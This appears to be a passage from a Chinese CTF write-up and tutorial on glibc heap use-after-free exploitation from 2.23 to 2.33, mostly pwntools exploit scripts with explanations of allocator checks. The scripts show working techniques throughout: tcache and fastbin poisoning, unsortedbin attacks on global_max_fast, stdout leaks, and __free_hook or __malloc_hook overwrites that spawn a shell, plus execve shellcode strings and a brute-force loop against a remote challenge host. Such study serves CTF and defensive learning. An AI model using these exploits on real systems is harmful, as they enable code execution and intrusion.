) delete(9 ) edit(9 ,p64(free)) add(0x50 ,'d' ) edit(8 ,'/bin/sh\x00' ) add(0x50 ,p64(system)) delete(8 ) it() if __name__ == '__main__' : exp(p)
libc-2.33 + UAF + chunk_size<=0x80 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *context.log_level = 'debug' prog = './ezuaf' elf = ELF(prog) libc = ELF("libc-2.33.so" ) def debug (addr,PIE=True) : debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'" .format(p.pid)).readlines()[1 ], 16 ) for i in addr: debug_str+='b *{}\n' .format(hex(text_base+i)) gdb.attach(p,debug_str) else : for i in addr: debug_str+='b *{}\n' .format(hex(i)) gdb.attach(p,debug_str) def dbg () : gdb.attach(p) pause() s = lambda data :p.send((data)) sa = lambda delim,data :p.sendafter(str(delim), (data)) sl = lambda data :p.sendline((data)) sla = lambda delim,data :p.sendlineafter(str(delim), (data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>' +hex(data1)) def dbgc (addr) : gdb.attach(p,"b*" + hex(addr) +"\n c" ) def lg (s,addr) : print('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" def choice (idx) : sla(": " ,str(idx)) def add (sz,con) : choice(1 ) sla("Please tell me its size: " ,str(sz)) sa("Content: " ,con) def delete (idx) : choice(3 ) sla("Please tell me the index: " ,str(idx)) def show (idx) : choice(4 ) sla("Please tell me the index: \n" ,str(idx)) def edit (idx,con) : choice(2 ) sla("Please tell me the index: \n" ,str(idx)) sla("Please tell me its content: \n" ,con) def pwn (p,i) : add(0x80 ,'a' ) delete(0 ) show(0 ) heap_leak=uu64(r(6 )) heap_base=heap_leak*0x1000 lg("heap_base" ,heap_base) edit(0 ,"arttnba3arttnba4" ) delete(0 ) edit(0 ,p64(heap_leak^(heap_base+0x10 ))) add(0x80 ,'arttnba3' ) add(0x80 ,"\x00\x00" *(0xe +0x10 +9 )+'\x07\x00' ) delete(2 ) add(0x40 ,('\x00\x00' *3 +'\x01\x00' +'\x00\x00' *2 +'\x01\x00' ).ljust(0x70 ,'\x00' )) add(0x30 ,0x30 *'\x00' ) add(0x10 ,p64(0 )+'\xc0' +p8(i*0x10 +6 )) add(0x40 ,p64(0xfbad1800 )+p64(0 )*3 +'\x00' ) libc_base=uu64(p.recvuntil('\x7f' )[-6 :])-0x1e4744 +0x3000 lg("libc_base" ,libc_base) add(0x10 ,p64(libc_base+libc.sym['__free_hook' ])) add(0x70 ,p64(libc_base+libc.sym['system' ])) add(0x10 ,'/bin/sh\x00' ) delete(9 ) it() if __name__ == '__main__' : count=1 i=0 while 1 : try : print "the no." +str(count)+"try" print "try: " +'\xc0' +p8(i*0x10 +6 ) p = remote("node4.buuoj.cn" , 29464 ) pwn(p,i) except Exception as e: print e p.close() i=i+1 count=count+1 i=i%16 continue
下面部分主要来自PIG-007 大佬,参考(抄)下来
PWN堆Heap总结UAF专场 UAF,异或加密,hook利用
一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。
这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。
一、Glibc2.23 1.UAF + Leak + Size不做限制: 这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。
0x7f:0 1 1 1 1 11 1
0x56:0 1 0 1 0 11 0
主要看的是AM位,加粗的两位,不能刚好是10,检测:
(1)是否属于当前线程的main_arena
(2)是否是mmap出来的chunk的检测
所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 one_gadget = getOnegadget() add_malloc(0x418 ,'PIG007NB' ) add_malloc(0x68 ,'PIG007NB' ) free(1 ) show(1 ) libc_base = u64Leakbase(88 + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) free(2 ) edit(2 ,0x8 ,p64(libc_base + libc.sym['__malloc_hook' ]-0x23 )) add_malloc(0x68 ,'PIG007NB' ) for i in range(len(one_gadget)): lg("one_gadget[" +str(i)+"]" ,libc_base+one_gadget[i]) add_malloc(0x68 ,'\x00' *0x13 +p64(libc_base+one_gadget[])) p.sendline('1' ) p.sendline('1' ) p.sendline('1' ) p.interactive()
需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。
2.UAF + Leak + size限制 ▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:
(1)只能是小Chunk,即0x20~0x80:
泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 one_gadget = getOnegadget() main_arena = libc.sym['main_arena' ] fastbinsY = main_arena + 8 target_addr = main_arena + 80 idx = (target_addr - fastbinsY) / 8 size = idx * 0x10 + 0x20 add_malloc(size-0x8 ,'PIG007NB' ) add_malloc(0x2f8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(0xf8 ,'PIG007NB' ) free(2 ) show(2 ) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) malloc_hook = libc_base + libc.sym['__malloc_hook' ] main_arena = libc_base + libc.sym['main_arena' ] target_addr = libc_base+libc.sym['global_max_fast' ] edit(2 ,0x18 ,p64(0x0 )+p64(target_addr-0x10 )) add_malloc(0x2f8 ,'\x00' ) free(1 ) edit(1 ,0x8 ,p64(size+0x10 +1 )) add_malloc(size-0x8 ,'PIG007NB' ) free(3 ) edit(3 ,0x8 ,p64(libc_base + libc.sym['main_arena' ] + 0x48 )) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,p64(malloc_hook-0x28 )+p64(0x0 )+p64(main_arena+88 )*2 ) add_malloc(0x98 ,p64(0x0 )*2 +p64(libc_base + one_gadget[1 ])+p64(libc_base+libc.sym['realloc' ]+8 )) p.sendline('1' ) p.sendline('1' ) p.sendline('1' ) it()
这里就利用realloc调整了一下栈帧
(3)只能是大chunk,即0x400~…
泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 main_arena = libc.sym['main_arena' ] fastbinsY = main_arena + 8 target_addr_binsY = libc.sym['__free_hook' ]-0x10 idx = (target_addr_binsY - fastbinsY) / 8 size = idx * 0x10 + 0x20 add_malloc(0x4f8 ,"\xaa" *0x4f8 ) add_malloc(0x4f8 ,'/bin/sh\x00' ) add_malloc(size-0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) free(1 ) show(1 ) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) target_addr = libc_base+libc.sym['global_max_fast' ] log.info("target_addr:0x%x" %target_addr) edit(1 ,0x4f8 ,p64(0x0 )+p64(target_addr-0x10 )) add_malloc(0x4f8 ,"\xaa" *0x4f8 ) free(3 ) edit(3 ,0x8 ,p64(size+0x10 +1 )) add_malloc(size-0x8 ,'PIG007NB' ) free(4 ) edit(4 ,0x8 ,p64(libc_base + target_addr_binsY -0x8 )) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,p64(0x0 )+p64(libc_base + libc.sym['system' ])) free(2 ) it()
(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。
泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。
3.UAF + 无Leak + Size不做限制 ▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1stdout 结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 def pwn () : heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf' ] elf_base = leak_elf() - elf.sym['main' ] log.info("heap_base:0x%x" %heap_base) log.info("libc_base:0x%x" %libc_base) log.info("elf_base:0x%x" %elf_base) add_malloc(0x1000 -0x8 ,'PIG007NB' ) guess_libc = 0x9000 guess_heap = 0x2000 fastbinsY = guess_libc + libc.sym['main_arena' ] + 8 _IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x10 _IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x20 _IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x28 _IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x30 idx_read_end = (_IO_read_end - fastbinsY) / 8 size_read_end = idx_read_end * 0x10 + 0x20 idx_write_base = (_IO_write_base - fastbinsY) / 8 size_write_base = idx_write_base * 0x10 + 0x20 idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8 size_write_ptr = idx_write_ptr * 0x10 + 0x20 idx_write_end = (_IO_write_end - fastbinsY) / 8 size_write_end = idx_write_end * 0x10 + 0x20 target_addr_gMF = guess_libc + libc.sym['global_max_fast' ] fastbinsY = libc.sym['main_arena' ] + 8 target_addr_binsY = libc.sym['__free_hook' ]-0x10 idx_free_hook = (target_addr_binsY - fastbinsY) / 8 size_free_hook = idx_free_hook * 0x10 + 0x20 add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\x03" *0x38 ) add_malloc(0x38 ,'\x04' *0x18 +p64(0x21 )+'\x04' *0x18 ) free(0x1 ) free(0x3 ) edit(0x3 ,0x1 ,'\x20' ) edit(0x1 ,0x20 ,p64(0x0 )*3 +p64(0x41 )) add_malloc(0x38 ,'\x05' *0x18 +p64(0x21 )+'\x05' *0x18 ) add_malloc(0x38 ,'\x06' *0x18 ) add_malloc(size_write_end-0x8 ,(p64(0x0 )+p64(0x21 ))*((size_write_end-0x10 )/0x10 )) add_malloc(size_write_ptr-0x8 ,(p64(0x0 )+p64(0x21 ))*((size_write_ptr-0x10 )/0x10 )) add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\xaa" *0x38 ) add_malloc(0x38 ,"\x0b" *0x38 ) add_malloc(0x38 ,'\x0c' *0x18 +p64(0x21 )+'\xaa' *0x18 ) free(0x9 ) free(0xb ) edit(0xb ,0x2 ,p16((guess_heap+0x1000 +0x40 )&0xffff )) edit(0x9 ,0x20 ,p64(0x0 )*3 +p64(0x41 )) add_malloc(0x38 ,'\x0d' *0x18 +p64(0x21 )+'\x05' *0x18 ) add_malloc(0x38 ,'\x0e' *0x18 ) add_malloc(size_free_hook-0x8 ,'PIG007NB' ) add_malloc(size_free_hook+0x10 -0x8 ,'PIG007NB' ) add_malloc(0x4f8 ,'\x11' *0x4f8 ) add_malloc(0x38 ,'\x12' *0x38 ) free(0x11 ) edit(0x11 ,0x8 +0x2 ,p64(0x0 )+p16((target_addr_gMF&0xffff )-0x10 )) add_malloc(0x4f8 ,'/bin/sh\x00' ) edit_m(0x6 ,0x20 ,p64(0x0 )*3 +p64(size_write_base+1 )) free_m(0xe ) free_m(0x7 ) free_m(0x8 ) edit_m(0x6 ,0x20 ,p64(0x0 )*3 +p64(size_read_end+1 )) free_m(0x2 ) libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_' ]+131 ) lg("libc_base" ,libc_base) free(0xf ) edit(0xf ,0x8 ,p64(size_free_hook+0x10 +1 )) add_malloc(size_free_hook-0x8 ,'PIG007NB' ) free(0x10 ) edit(0x10 ,0x8 ,p64(libc_base + target_addr_binsY -0x8 )) add_malloc(size_free_hook+0x10 -0x8 ,'PIG007NB' ) add_malloc(size_free_hook+0x10 -0x8 ,p64(0x0 )+p64(libc_base + libc.sym['system' ])) free(0x13 ) it() i = 0 while True : i = i + 1 try : p = process("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close() continue else : p.interactive() break
▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是
libc_base = u64Leakbase(libc.sym[‘_IO_2_1stdout ‘]+131)
这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym[‘_IO_2_1stdout ‘]+131的地址,所以这里直接就能泄露。
▲题外话:爆破的数学期望为1/256
4.UAF + 无Leak + Size做限制 ▲同样size做限制一般也分为以下几种
(1)只能是小Chunk,即0x20~0x80:
这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。
(3)只能是大chunk,即0x400~…
直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
(4)指定的chunk size。
▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。
二、Glibc2.27 UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。
1.Sashing机制带来的改变 (1)加入的检查判断: 需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:
(这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)
由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。
1 2 3 4 5 //注释头 *fb = tc_victim->fd; mov rax, qword ptr [rdx + 0x10]
这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。
(2)对抗利用: ①have_fastchunks:
虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。
④top_chunk:
此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。
但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana
。所以要是碰到2.27版本的,简直就是烧高香了。
2.Glibc2.27Tcache题外话: 现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。
Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)
新增如下:
(1)Key字段新增: 1 2 3 4 5 6 7 8 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段 判断double free。
这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。
具体利用和绕过后面讲。
(2)Tcache数量限制 1 #define MAX_TCACHE_COUNT 127
这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27
1 2 3 4 5 6 7 8 9 10 11 do_set_tcache_count (size_t value) { if (value <= MAX_TCACHE_COUNT) { LIBC_PROBE (memory_tunable_tcache_count, 2 , value, mp_.tcache_count); mp_.tcache_count = value; } return 1 ; }
这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。
另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。
总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。
三、Glibc2.29 1.部分手段失效 (1)unsortedbin attack失效 这个版本下的unsortedbin attck已经失效,原因是新增如下检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 #注释头 mchunkptr next = chunk_at_offset (victim, size ); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)" ); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size )) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)" ); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted" ); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)" );
①下一个chunk的size是否在合理区间
②下一个chunk的prevsize是否等于victim的size
③检查unsortedbin双向链表的完整性
④下一个chunk的previnuse标志位是否为0
其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。
(2)top_chunk改写限制 新增检查:
1 2 3 4 #注释头 if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size" );
即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,
House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。
(3)unlink方面一些限制 新增检查:
1 2 3 4 #注释头 if (__glibc_unlikely (chunksize(p) != prevsize)) * malloc_printerr ("corrupted size vs. prev_size while consolidating" );
即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等
这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。
(4)tcache方面的变化 ①新增key字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #注释头 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry; tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。
②新增的一些检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 { size_t tc_idx = csize2tidx (size ); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } }
重点是这里if (__glibc_unlikely (e->key == tcache)) ,即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以配合largebin attack来进行攻击tcache dup。
▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。
参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)
③出现的新手段
Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0 ) malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0 ) malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
可以看到几乎是一样的,只有一两处:
A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate 进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate 进行攻击的时候可能会用到。
B.错误打印方式不同:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; errout: if (!have_lock && locked) __libc_lock_unlock (av->mutex); malloc_printerr (check_action, errstr, chunk2mem (p), av); return ; } errout: malloc_printerr (check_action, errstr, chunk2mem (oldp), av); return NULL ; } malloc_printerr ("malloc(): smallbin double linked list corrupted" );
这个在针对malloc_printerr 也可能会用到
而这种攻击主要是针对smallbin攻击的。
但也有一种针对fastbin攻击的:
Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)
这个后面再讨论下。
2.UAF常见限制 (1)UAF + Leak + Size不做限制: 这个没啥好说的,直接泄露地址之后任意申请就完了。
(2)UAF+Leak+Size做限制: 结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。
(3)UAF+无Leak+Size不做限制: 一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。
由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 def pwn () : global p heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf'] elf_base = leak_elf() - elf.sym['main'] log .info("heap_base:0x%x" %heap_base) log .info("libc_base:0x%x" %libc_base) log .info("elf_base:0x%x" %elf_base) add_malloc(0x1000-0x8-0x250,'PIG007NB') guess_libc = 0xf000 guess_heap = 0xf000 guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_'] lg("guess_IO" ,guess_IO) add_malloc(0x4f8 ,"\x00" *0x4f8 ) #idx 0x1 add_malloc(0x38 ,"\x01" *0x38 ) #idx 0x2 add_malloc(0x38 ,"\x02" *0x38 ) #idx 0x3 add_malloc(0x38 ,"\x03" *0x38 ) #idx 0x4 add_malloc(0x38 ,'\x04' *0x38 ) #idx 0x5 #write libc addr free (0x1 ) add_malloc(0x78 ,p16((guess_IO)&0xffff )) #idx 0x6 #show(0x1) #libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_']) #lg("libc_base_attempt" ,libc_base_attempt) free (0x2 ) free (0x4 ) edit(0x4 ,0x2 ,p16((guess_heap+0x1000 +0x10 )&0xffff )) add_malloc(0x38 ,'\x05' *0x38 ) #idx 0x7 add_malloc(0x38 ,'\x06' *0x38 ) #idx 0x8 add_malloc(0x38 ,p64(0xfbad1800 ) + p64(0 )*3 + '\x00' )#idx 0x9 libc_base = u64Leakbase(0x3b5890 ) lg("libc_base" ,libc_base) 